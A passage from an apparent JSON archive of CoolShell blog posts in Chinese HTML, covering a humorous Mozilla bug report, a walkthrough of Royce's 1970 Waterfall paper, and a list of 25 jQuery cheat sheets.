href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3207.html\"><img alt=\"30+ Web下拉菜单\" height=\"150\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3142.html\"><img alt=\"用户界面和用户体验的差别\" height=\"150\" src=\"../wp-content/uploads/2010/10/UI-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2792.html\">微软最囧的UI</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-13 Mozilla的一个BUG.html",
    "content": "<html><body><p>以前，本站给大家介绍过一些BUG，如：《<a href=\"https://coolshell.cn/articles/2367.html\" rel=\"bookmark\" target=\"_blank\">谷歌Chrome取消”http://”</a>》，《<a href=\"https://coolshell.cn/articles/1781.html\" rel=\"bookmark\" target=\"_blank\">Go语言的Issue 9</a>》和《<a href=\"https://coolshell.cn/articles/2352.html\" rel=\"bookmark\" target=\"_blank\">telnet的一个Bug</a>》。今天，和大家再说一个Mozilla的Bug，这个Bug的网址在这里：<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=579522\" target=\"_blank\">https://bugzilla.mozilla.org/show_bug.cgi?id=579522</a></p>\n<p>这个Bug的标题是这样的：“Buy cots for the JS interns” （为JS实习生买一些轻便小床），并说明“This bug is not actually a joke.”，这个BUG估计是在抱怨在Mozilla工作的实习生太辛苦了。在后面的跟贴中，很多人都提到了V8，呵呵。看来，大家还是在嘲笑Mozilla更多一些，大家不妨前往一看。</p>\n<p>Mozilla的firefox还是很让人失望的，作为一个Linux下默认的浏览器，其居然让Firefox的Windows版比Linux版更强大，在firefox 4.0 beta中居然出现了Windows Only的东东，着着实实地伤了很多firefox的粉丝的心，正因为这个，整个社区都开始BS并嘲笑Mozilla，并转投Chrome阵营。</p>\n<p>当然，最后这个BUG被fix了，有图为证：</p>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_2937\" style=\"width: 560px;\"><img alt=\"\" class=\"size-full wp-image-2937\" height=\"420\" src=\"../wp-content/uploads/2010/09/Mozilla.jpg\" title=\"Mozilla的Bug fixing\" width=\"560\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2937\">Mozilla的Bug fixing</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2667.html\"><img alt=\"浏览器正则表达式检查插件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2069.html\"><img alt=\"一个浏览器市场占有量的图\" height=\"150\" src=\"../wp-content/uploads/2010/01/browser_history-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2069.html\">一个浏览器市场占有量的图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1714.html\"><img alt=\"Firefox插件WebMail Notifier\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1714.html\">Firefox插件WebMail Notifier</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/599.html\"><img alt=\"Google 三维 JavaScript API 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/599.html\">Google 三维 JavaScript API 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2917.html\"><img alt=\"Did You Know?\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2917.html\">Did You Know?</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8387.html\"><img alt=\"Bret Victor – Learnable Programming\" height=\"150\" src=\"../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-15 Waterfall 软件工程.html",
    "content": "<html><body><p>《Royce, Winston (1970), <a href=\"http://www.cs.umd.edu/class/spring2003/cmsc838p/Process/waterfall.pdf\" rel=\"nofollow\" target=\"_blank\">“Managing the Development of Large Software Systems”</a>, <em>Proceedings of IEEE WESCON</em> <strong>26</strong> (August): 1–9. 》，这篇文章向你说明了软件工程鼻祖“Waterfall”的工程模型，这是40年前的论文，其中的十张插图很有强大，抽出来，让我们来看看什么叫Waterfall软件工程。</p>\n<p>首先，让我先看一下小的程序是怎么做的，呵呵，很简单，两步。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/01.Small_.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2943\" height=\"199\" src=\"../wp-content/uploads/2010/09/01.Small_.jpg\" title=\"01.Small\" width=\"477\"/></a></p>\n<p>接下来，就是我们最经典的Waterfall软件工程模型了，用户需求，软件需求，需求分析，设计，编码，测试，运维。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2944\" height=\"411\" src=\"../wp-content/uploads/2010/09/02.Large_.jpg\" title=\"02.Large\" width=\"628\"/></a></p>\n<p><span id=\"more-2941\"></span>为了保证每个步骤都能正确实施，于是，每个步骤之间需要有一定的交互，这是我们所希望的样子。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/02.Large_.jpg\"><br/>\n</a> <a href=\"https://coolshell.cn/wp-content/uploads/2010/09/03.Iteraction.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2945\" height=\"418\" src=\"../wp-content/uploads/2010/09/03.Iteraction.jpg\" title=\"03.Iteraction\" width=\"635\"/></a></p>\n<p>然后，不幸的是，我们总是在测试的时候发现了设计甚至需求的问题，因此，不得不让我们返工。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/04.Design.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2946\" height=\"405\" src=\"../wp-content/uploads/2010/09/04.Design.jpg\" title=\"04.Design\" width=\"651\"/></a></p>\n<p>为了解决上面的“返工”问题，我们可以使用下面的几步来解决。</p>\n<p>第一步，叫Preliminary Design，程序设计先行，确定在进入需求分析之前，我们的概要设计要完整。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2947\" height=\"404\" src=\"../wp-content/uploads/2010/09/05.01.Preliminary.Design.jpg\" title=\"05.01.Preliminary.Design\" width=\"555\"/></a></p>\n<p>第二步，我们叫Document Design，书写设计文档，确认我们的设计是完整的。看到了吧，总共6个文档，1）软件需求，2）概要设计，3）接口设计，4）各种最终设计，5）测试设计/计划，6）测试结果。流程开始变得复杂了。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.02.Documentation.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2948\" height=\"668\" src=\"../wp-content/uploads/2010/09/05.02.Documentation.jpg\" title=\"05.02.Documentation\" width=\"703\"/></a></p>\n<p>第三步，我们叫“Do it Twice”，双保险，把文档了的东西试着预先走一遍，看看能否成为最终产品。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.03.Double.Work_.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2949\" height=\"475\" src=\"../wp-content/uploads/2010/09/05.03.Double.Work_.jpg\" title=\"05.03.Double.Work\" width=\"638\"/></a></p>\n<p>第四步，计划，控制和监控测试。哇，流程很乱了。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.04.Test_.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2950\" height=\"361\" src=\"../wp-content/uploads/2010/09/05.04.Test_.jpg\" title=\"05.04.Test\" width=\"638\"/></a></p>\n<p>第五步，用户介入，全程review各个环节。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/05.05.Involve.Customer.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2951\" height=\"451\" src=\"../wp-content/uploads/2010/09/05.05.Involve.Customer.jpg\" title=\"05.05.Involve.Customer\" width=\"632\"/></a> <a href=\"https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg\"></a></p>\n<p>好了，问题解决了，让我们看看最终的“无比强大的”——Waterfall软件工程模型！</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/06.Summary.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-2952\" height=\"437\" src=\"../wp-content/uploads/2010/09/06.Summary.jpg\" title=\"06.Summary\" width=\"725\"/></a></p>\n<p>现在，当你在使用waterfall开发软件的时候，知道为什么痛苦了吧，40年前就已经如此了。</p>\n<p>下面是《<a href=\"http://confreaks.net/events/lsrc2010\">Lone Star Ruby Conference 2010</a>》的一个演讲叫《<a href=\"http://confreaks.net/videos/282-lsrc2010-real-software-engineering\" target=\"_blank\">Real Software Engineer</a>》，没有字幕，但我个人感觉英文很容易听懂，英文好的同学不妨看看。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2191.html\"><img alt=\"DEMO Spring 2010 获奖产品\" height=\"150\" src=\"../wp-content/uploads/2010/03/Zosh-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2191.html\">DEMO Spring 2010 获奖产品</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/514.html\"><img alt=\"深入浅出CORBA\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/514.html\">深入浅出CORBA</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/677.html\"><img alt=\"用Python写NCurses UI\" height=\"150\" src=\"../wp-content/uploads/2009/04/ncurses_example-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/677.html\">用Python写NCurses UI</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8031.html\"><img alt=\"InfoQ的ArchSummit大会对我的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1081.html\"><img alt=\"十个让你变成糟糕的程序员的行为\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1081.html\">十个让你变成糟糕的程序员的行为</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2365.html\"><img alt=\"两个C++的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2941.html\">Waterfall 软件工程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-19 25个jQuery的编程小抄.html",
    "content": "<html><body><p>以前本站向大家介绍过“<a href=\"https://coolshell.cn/articles/1566.html\" rel=\"bookmark\" target=\"_blank\">程序员小抄大全</a>”，这里是25个jQuery的小抄（有一些在墙外），有的还可以设置成你的电脑桌面。这些东西可以让你很快速地记得一些常用的东西，就好像软件的快捷键一样。希望它们对你会有帮助。</p>\n<h3><a href=\"http://colorcharge.com/jquery/\" target=\"_blank\">1. jQuery 1.2 Cheat-sheet</a> [PNG]</h3>\n<p><a href=\"http://colorcharge.com/jquery/\"><img alt=\"\" height=\"377\" src=\"../wp-content/uploads/2010/09/1.png\" title=\"1\" width=\"550\"/></a></p>\n<p><span id=\"more-2964\"></span></p>\n<h3><a href=\"http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/\" target=\"_blank\">2. jQuery 1.2 Cheat Sheet v1.0</a> [PDF]</h3>\n<p><a href=\"http://www.gscottolson.com/weblog/2008/01/11/jquery-cheat-sheet/\"><img alt=\"\" height=\"374\" src=\"../wp-content/uploads/2010/09/2.png\" title=\"2\" width=\"550\"/></a></p>\n<h3><a href=\"http://blog.acodingfool.com/cheatsheets/jquery-1-3-cheatsheet/\" target=\"_blank\">3. jQuery 1.3 Cheatsheet</a> [PDF]</h3>\n<p><a href=\"http://blog.acodingfool.com/cheatsheets/jquery-1-3-cheatsheet/\"><img alt=\"\" height=\"636\" src=\"../wp-content/uploads/2010/09/32.jpg\" title=\"3\" width=\"550\"/></a></p>\n<h3><a href=\"http://api.jquery.com/\" target=\"_blank\">4. jQuery API Browser</a> [Adobe AIR, HTML]</h3>\n<p><a href=\"http://api.jquery.com/\"><img alt=\"\" height=\"151\" src=\"../wp-content/uploads/2010/09/42.jpg\" title=\"4\" width=\"550\"/></a></p>\n<h3>5. <a href=\"http://n-bp.com/jquery_cheat_sheet/v11/\" target=\"_blank\">jQuery1.1 Cheat Sheet</a> [HTML]</h3>\n<p><a href=\"http://n-bp.com/jquery_cheat_sheet/v11/\"><img alt=\"\" height=\"358\" src=\"../wp-content/uploads/2010/09/52.jpg\" title=\"5\" width=\"550\"/></a></p>\n<h3>6. <a href=\"http://jtouch.colorcharge.com/\" target=\"_blank\">jTouch – jQuery Cheat Sheet for iPhone</a> [HTML]</h3>\n<p><a href=\"http://jtouch.colorcharge.com/\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/62.jpg\" title=\"6\" width=\"550\"/></a></p>\n<h3>7.<a href=\"http://www.futurecolors.ru/jquery/\" target=\"_blank\"> jQuery 1.4 API Cheat Sheet</a> [HTML, PDF, PNG]</h3>\n<p><a href=\"http://www.futurecolors.ru/jquery/\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/7.jpg\" title=\"7\" width=\"550\"/></a></p>\n<h3>8. <a href=\"http://refcardz.dzone.com/refcardz/jquery-selectors\" target=\"_blank\">jQuery Selectors</a> [PDF]</h3>\n<p><a href=\"http://refcardz.dzone.com/refcardz/jquery-selectors\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/82.jpg\" title=\"8\" width=\"550\"/></a></p>\n<h3>9.<a href=\"http://oscarotero.com/jquery/\" target=\"_blank\"> jQuery 1.3 Quick API Reference</a> [ HTML]</h3>\n<p><a href=\"http://oscarotero.com/jquery/\"><img alt=\"\" height=\"343\" src=\"../wp-content/uploads/2010/09/9.png\" title=\"9\" width=\"550\"/></a></p>\n<h3>10.<a href=\"http://oscarotero.com/jquery/ui.html\"> </a><a href=\"http://oscarotero.com/jquery/ui.html\" target=\"_blank\">jQuery UI 1.7 Quick API Reference</a> [ HTML]</h3>\n<p><a href=\"http://oscarotero.com/jquery/ui.html\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/102.jpg\" title=\"10\" width=\"550\"/></a></p>\n<h3>11. <a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\" target=\"_blank\">jQuery 1.3.2 Cheat Sheet</a> [Microsoft Excel (XLS), PDF, PNG]</h3>\n<p><a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/112.jpg\" title=\"11\" width=\"550\"/></a></p>\n<h3>12. <a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\" target=\"_blank\">jQuery 1.1.3 Cheat Sheet</a> [Microsoft Excel (XLS), PDF, PNG]</h3>\n<p><a href=\"http://www.javascripttoolbox.com/jquery/cheatsheet/\"><img alt=\"\" height=\"426\" src=\"../wp-content/uploads/2010/09/12.gif\" title=\"12\" width=\"550\"/></a></p>\n<h3>13. <a href=\"http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html\" target=\"_blank\">jQuery 1.3 Visual Cheat Sheet</a> [PDF]</h3>\n<p><a href=\"http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html\"><img alt=\"\" height=\"389\" src=\"../wp-content/uploads/2010/09/13.jpg\" title=\"13\" width=\"550\"/></a></p>\n<h3>14.<a href=\"http://woorkup.com/2010/06/13/jquery-1-4-2-visual-cheat-sheet/\" target=\"_blank\"> jQuery 1.4.2 Visual Cheat Sheet</a> [JPEG, PDF]</h3>\n<p><a href=\"http://woorkup.com/2010/06/13/jquery-1-4-2-visual-cheat-sheet/\"><img alt=\"\" height=\"579\" src=\"../wp-content/uploads/2010/09/14.jpg\" title=\"14\" width=\"550\"/></a></p>\n<h3>15. <a href=\"http://remysharp.com/jquery-api/\" target=\"_blank\">jQuery API</a> [HTML]</h3>\n<p><a href=\"http://remysharp.com/jquery-api/\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/15.jpg\" title=\"15\" width=\"550\"/></a></p>\n<h3>16. <a href=\"http://labs.impulsestudios.ca/jquery-cheat-sheet\" target=\"_blank\">jQuery 1.4 Cheat Sheet</a> [PDF]</h3>\n<p><a href=\"http://labs.impulsestudios.ca/jquery-cheat-sheet\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/16.jpg\" title=\"16\" width=\"550\"/></a></p>\n<h3>17.<a href=\"http://chris4403.blogspot.com/2008/01/jquery-cheatsheet-wallpaper.html\" target=\"_blank\"> jQuery cheatsheet Wallpaper</a></h3>\n<p><a href=\"http://chris4403.blogspot.com/2008/01/jquery-cheatsheet-wallpaper.html\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/17.jpg\" title=\"17\" width=\"550\"/></a></p>\n<h3>18. <a href=\"http://carlos.bueno.org/jq-yui.html\" target=\"_blank\">jQuery – YUI3 Rosetta Stone</a> [HTML]</h3>\n<p><a href=\"http://carlos.bueno.org/jq-yui.html\"><img alt=\"\" height=\"247\" src=\"../wp-content/uploads/2010/09/18.jpg\" title=\"18\" width=\"550\"/></a></p>\n<h3>19. <a href=\"http://www.cheat-sheets.org/#jQuery\" target=\"_blank\">jQuery 1.2 by Adrien Gibrat</a> [PDF]</h3>\n<p><a href=\"http://www.cheat-sheets.org/#jQuery\"><img alt=\"\" height=\"255\" src=\"../wp-content/uploads/2010/09/19.jpg\" title=\"19\" width=\"550\"/></a></p>\n<h3>20. <a href=\"http://acodingfool.typepad.com/blog/2009/01/jquery-13-cheat-sheet.html\" target=\"_blank\">jQuery 1.3 Cheat Sheet</a></h3>\n<p><a href=\"http://acodingfool.typepad.com/blog/2009/01/jquery-13-cheat-sheet.html\"><img alt=\"\" height=\"336\" src=\"../wp-content/uploads/2010/09/20.jpg\" title=\"20\" width=\"550\"/></a></p>\n<h3>21. <a href=\"http://www.gmtaz.com/index.php/jquery-13-cheatsheet-wallpaper/\" target=\"_blank\">jQuery 1.3 Cheatsheet Wallpaper </a>[1920×1200, 1680×1050 and 1440×900]</h3>\n<p><a href=\"http://www.gmtaz.com/index.php/jquery-13-cheatsheet-wallpaper/\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/211.jpg\" title=\"21\" width=\"550\"/></a></p>\n<h3><a href=\"http://www.cheat-sheets.org/saved-copy/jQuery.1.3.Visual.Cheat.Sheet.by.WOORK.pdf\" target=\"_blank\">22. jQuery 1.3 Visual Cheat Sheet by Antonio Lupetti</a> [PDF]</h3>\n<p><a href=\"http://www.cheat-sheets.org/saved-copy/jQuery.1.3.Visual.Cheat.Sheet.by.WOORK.pdf\"><img alt=\"\" height=\"378\" src=\"../wp-content/uploads/2010/09/22.jpg\" title=\"22\" width=\"550\"/></a></p>\n<h3><a href=\"http://codylindley.com/jqueryselectors/\" target=\"_blank\">23. jQuery Selectors Cheatsheet</a> [HTML]</h3>\n<p><a href=\"http://codylindley.com/jqueryselectors/\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/23.jpg\" title=\"23\" width=\"550\"/></a></p>\n<h3><a href=\"http://jn.orz.hm/jquery/ui_effect.html\" target=\"_blank\">24. jQuery UI – Effects Cheatsheet</a> [HTML]</h3>\n<p><a href=\"http://jn.orz.hm/jquery/ui_effect.html\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/24.jpg\" title=\"24\" width=\"550\"/></a></p>\n<h3>25. <a href=\"http://elegantcode.com/wp-content/uploads/2010/03/Jquery-Validator-Cheat-sheet.pdf\" target=\"_blank\">jQuery Validator Cheatsheet </a>– Elegant Code [PDF]</h3>\n<p><a href=\"http://elegantcode.com/wp-content/uploads/2010/03/Jquery-Validator-Cheat-sheet.pdf\"><img alt=\"\" height=\"189\" src=\"../wp-content/uploads/2010/09/25.jpg\" title=\"25\" width=\"550\"/></a></p>\n<p>文章：<a href=\"http://technologytosoftware.com/most-useful-jquery-cheat-sheets.html\" target=\"_blank\">http://technologytosoftware.com/most-useful-jquery-cheat-sheets.html</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3480.html\"><img alt=\"一些有意思的网站和贴子\" height=\"150\" src=\"../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2964.html\">25个jQuery的编程小抄</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-20 代码优化概要.html",
